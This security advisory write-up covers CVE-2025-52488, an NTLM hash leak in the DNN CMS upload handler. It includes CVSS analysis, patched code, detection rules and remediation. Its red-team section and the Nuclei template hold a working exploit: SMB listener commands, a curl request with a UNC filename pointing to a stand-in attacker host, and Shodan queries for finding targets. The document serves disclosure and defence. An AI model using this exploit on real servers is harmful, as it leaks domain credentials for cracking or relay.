CVE-2025-52488

Executive Summary

CVE-2025-52488 is a high-severity vulnerability in DNN (DotNetNuke) versions 6.0.0 through 10.0.0 that allows an unauthenticated attacker to force the server to disclose NTLM hashes to a third-party SMB server. The vulnerability resides in the file upload functionality, specifically in the FileUploader.ashx handler, where specially crafted Unicode-normalized file paths are not properly sanitized. When the server attempts to process such a path, it initiates an SMB connection to an attacker-controlled server, leaking the NTLM hash of the application pool identity. This hash can then be relayed or cracked to gain unauthorized access to domain resources. The vulnerability has a CVSS score of 8.6 (High) and is confirmed exploitable with a public Nuclei template.

Supply Chain & Package Security

This vulnerability affects the DNN Platform, an open-source .NET CMS. The issue is not in a third-party package but in the core platform's file upload handling. Organizations using DNN should treat this as a critical supply chain risk, as the vulnerable component is integral to the CMS's functionality. The patch is available in version 10.0.1, and immediate upgrade is recommended.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
• Base Score: 8.6 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Changed (S:C) – The vulnerability impacts resources beyond the vulnerable component.
• Confidentiality Impact: High (C:H) – NTLM hashes are exposed.
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

Threat Level: High. The vulnerability is remotely exploitable without authentication, and the public availability of a Nuclei template lowers the barrier to exploitation. The potential for NTLM relay attacks makes this a critical risk for domain-joined environments.

Deep Dive & Mechanics

The vulnerability exploits a combination of Windows file path quirks and Unicode normalization. DNN's file upload handler (FileUploader.ashx) accepts a filename parameter and constructs a file path. When the filename contains Unicode characters that normalize to backslashes (\) or other path separators, the server may interpret the path as a UNC path (e.g., \\attacker-server\share\file.jpg). This triggers an SMB connection to the attacker's server, which captures the NTLM hash of the application pool identity.

Key Technical Details:

• Unicode Normalization: Windows uses Unicode normalization (NFC/NFD) when processing file paths. Certain Unicode characters, such as the fullwidth solidus (\uFF3C), normalize to a regular backslash (\). The attacker encodes the payload using these characters to bypass input validation.
• NTLM Hash Disclosure: When the server attempts to access the UNC path, it automatically sends the NTLM hash of the current user (the application pool identity) to the attacker's SMB server. This hash can be used in relay attacks or cracked offline.
• Attack Vector: The attacker sends a POST request to the vulnerable endpoint with a malicious filename containing Unicode-normalized path separators pointing to an attacker-controlled SMB server.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-10.0.1): The file upload handler does not normalize or validate the filename for Unicode characters that could be interpreted as path separators. The filename is used directly in file system operations.

// Vulnerable: No Unicode normalization or path traversal check
string fileName = Request.Files[0].FileName;
string filePath = Path.Combine(uploadFolder, fileName);
// The server may interpret fileName as a UNC path if it contains Unicode backslashes

Patched Code (10.0.1): The patched version normalizes the filename to its standard form and strips or rejects characters that could be used for path traversal or UNC path injection.

// Patched: Normalize and sanitize the filename
string fileName = Request.Files[0].FileName;
fileName = fileName.Normalize(NormalizationForm.FormC); // Normalize Unicode
fileName = Path.GetFileName(fileName); // Strip any path components
string filePath = Path.Combine(uploadFolder, fileName);

Exploitation & Lab Setup

Red Team

Prerequisites:

• A DNN instance running version 6.0.0 to 10.0.0.
• An attacker-controlled SMB server (e.g., using Responder or Impacket's smbserver.py) to capture NTLM hashes.
• Network connectivity between the DNN server and the attacker's SMB server.

Exploitation Steps:

1. Set up an SMB listener to capture NTLM hashes:

   sudo python3 /usr/share/responder/Responder.py -I eth0 -w -r -f
   

   Or using Impacket:

   sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py -smb2support share /tmp/smb
   

2. Craft the malicious payload using the Nuclei template variables:

   payload: "%EF%BC%BC%EF%BC%BC{{interactsh-url}}%EF%BC%BC%EF%BC%BCc$%EF%BC%BC%EF%BC%BCan.jpg"
   

   Replace {{interactsh-url}} with your SMB server's hostname or IP.

3. Send the exploit request using curl:

   curl -X POST "http://target/Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx?PortalID=0&storageFolderID=1&overrideFiles=false" \
     -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXXXXXXXXXXXX" \
     --data-binary $'------WebKitFormBoundaryXXXXXXXXXXXX\r\nContent-Disposition: form-data; name="file"; filename="\\\\attacker-smb-server\\share\\c$\\an.jpg"\r\nContent-Type: image/jpeg\r\n\r\nfakeimagecontent\r\n------WebKitFormBoundaryXXXXXXXXXXXX--'
   

4. Capture the NTLM hash from your SMB listener. The hash can be cracked or relayed.

Blue Team

Detection and Response:

1. Monitor for unusual SMB connections from the DNN server to external IPs. Use network monitoring tools to alert on outbound SMB traffic (port 445) to non-domain controllers.

2. Inspect file upload logs for filenames containing Unicode characters or backslashes. Look for patterns like \\ or %EF%BC%BC in the request.

3. Deploy the provided detection rules (see Detection Engineering section) to identify exploitation attempts.

4. Immediately isolate any DNN server that shows signs of compromise and rotate the application pool account credentials.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound SMB (TCP/445) connections from the DNN server to unknown external IPs.
  • DNS queries for attacker-controlled domains from the DNN server.
  • HTTP POST requests to /Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx with filenames containing Unicode characters or backslashes.

• File System IOCs:

  • Unexpected files in the upload directory with names containing Unicode characters or path separators.
  • Log entries in DNN logs showing failed file uploads with unusual filenames.

• Authentication IOCs:

  • NTLM authentication attempts from the DNN server to external SMB servers.
  • Event ID 4624 (An account was successfully logged on) with unusual source IPs.

Detection Engineering

YARA Rule

rule CVE_2025_52488_DNN_NTLM_Disclosure {
    meta:
        description = "Detects DNN file upload requests attempting NTLM hash disclosure via Unicode path normalization"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-52488"
        severity = "high"
    strings:
        $s1 = "FileUploader.ashx" nocase
        $s2 = "multipart/form-data" nocase
        $s3 = /filename=["']?[^"']*\\[^"']*["']?/ nocase
        $s4 = /%EF%BC%BC/ nocase
        $s5 = /\\\\[^"']*\\\\/ nocase
    condition:
        all of ($s1, $s2) and any of ($s3, $s4, $s5)
}

Sigma Rule

title: DNN NTLM Hash Disclosure via Unicode Path Normalization
id: 7a8b3c2d-1e4f-5a6b-7c8d-9e0f1a2b3c4d
status: experimental
description: Detects HTTP requests to DNN file upload endpoint with malicious Unicode-normalized filenames
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-52488
    - https://github.com/dnnsoftware/Dnn.Platform/security/advisories/GHSA-mgfv-2362-jq96
logsource:
    category: webserver
    product: iis
detection:
    selection:
        cs-uri-stem|contains: "/FileUploader.ashx"
        cs-method: "POST"
        cs-Content-Type|contains: "multipart/form-data"
    keywords:
        - "\\\\"
        - "%EF%BC%BC"
        - "filename=\"\\\\"
    condition: selection and keywords
falsepositives:
    - Legitimate file uploads with backslashes in filenames (rare)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2025-52488 DNN NTLM Hash Disclosure Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/FileUploader.ashx"; http_uri;
    content:"multipart/form-data"; http_client_body;
    pcre:"/\\\\[^\"']*\\\\/i";
    pcre:"/%EF%BC%BC/i";
    reference:cve,2025-52488;
    reference:url,https://github.com/dnnsoftware/Dnn.Platform/security/advisories/GHSA-mgfv-2362-jq96;
    classtype:attempted-recon;
    sid:10000001;
    rev:1;
)

Nuclei Template (Provided)

id: CVE-2025-52488

info:
  name: DNN (DotNetNuke) - Unicode Path Normalization NTLM Hash Disclosure
  author: assetnote,DhiyaneshDk,iamnoooob,pdresearch
  severity: high
  description: |
    DNN (formerly DotNetNuke) is an open-source web content management platform (CMS) in the Microsoft ecosystem. In versions 6.0.0 to before 10.0.1, DNN.PLATFORM allows a specially crafted series of malicious interaction to potentially expose NTLM hashes to a third party SMB server. This issue has been patched in version 10.0.1.
  impact: |
    Unauthenticated attackers can force the server to retrieve NTLM authentication hashes through malicious file uploads with Unicode-normalized paths, potentially exposing domain credentials to third-party SMB servers.
  remediation: |
    Upgrade DNN Platform to version 10.0.1 or later that properly handles Unicode path normalization and prevents NTLM hash disclosure.
  reference:
    - https://github.com/dnnsoftware/Dnn.Platform/security/advisories/GHSA-mgfv-2362-jq96
    - https://slcyber.io/assetnote-security-research-center/abusing-windows-net-quirks-and-unicode-normalization-to-exploit-dnn-dotnetnuke/#hunting-variants
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cve-id: CVE-2025-52488
    cwe-id: CWE-200
    cpe: cpe:2.3:a:dnnsoftware:dotnetnuke:*:*:*:*:*:*:*:*
    epss-score: 0.24187
    epss-percentile: 0.96097
  metadata:
    verified: true
    max-request: 1
    vendor: dnnsoftware
    product: dotnetnuke
    shodan-query:
      - "Set-Cookie: dnn_IsMobile"
      - http.favicon.hash:-1465479343
    fofa-query:
      - app="dotnetnuke"
      - "Set-Cookie: dnn_IsMobile"
      - icon_hash="-1465479343"
  tags: cve,cve2025,file-upload,dotnetnuke,oast,oob,dnnsoftware,oss,ntlm,vkev,vuln

variables:
  payload: "%EF%BC%BC%EF%BC%BC{{interactsh-url}}%EF%BC%BC%EF%BC%BCc$%EF%BC%BC%EF%BC%BCan.jpg"

http:
  - raw:
      - |
        POST /Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx?PortalID=0&storageFolderID=1&overrideFiles=false HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXXXXXXXXXXXX

        ------WebKitFormBoundaryXXXXXXXXXXXX
        Content-Disposition: form-data; name="file"; filename="{{url_decode(replace(payload,'.','%EF%BC%8E'))}}"
        Content-Type: image/jpeg

        {{randstr}}
        ------WebKitFormBoundaryXXXXXXXXXXXX--

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "dns"

      - type: dsl
        dsl:
          - "contains(to_lower(header), 'dnn_ismobile')"
          - "contains_any(to_lower(body), 'dotnetnuke', 'dnnconnect', 'runtime error')"
        condition: or
# digest: 490a00463044022064c20cdf495a6955469c3875a77c5f5e527b79d290d3529b20fa99a717dec413022063279cea020c0f574fec322559e355ccfcd1c7f949028e73793ab48ed7b09f86:922c64590222798bb761d5b6d8e72950

Remediation & Mitigation

Immediate Actions:

1. Upgrade DNN Platform to version 10.0.1 or later. This is the only complete fix.
2. If immediate upgrade is not possible, apply a virtual patch using a WAF to block requests to /FileUploader.ashx with filenames containing backslashes or Unicode characters that normalize to backslashes.
3. Restrict outbound SMB traffic from the DNN server using firewall rules. Only allow SMB to known domain controllers.
4. Monitor and rotate the application pool account credentials if any suspicious activity is detected.

Long-term Mitigations:

• Implement input validation for all file uploads, normalizing Unicode characters and stripping path separators.
• Use a dedicated service account with minimal privileges for the application pool.
• Enable logging and auditing for file upload operations.
• Regularly update DNN and all dependencies.

Valters IT

{/* [Security Hash: 86E863CDAFF4A51E6E54D342] */}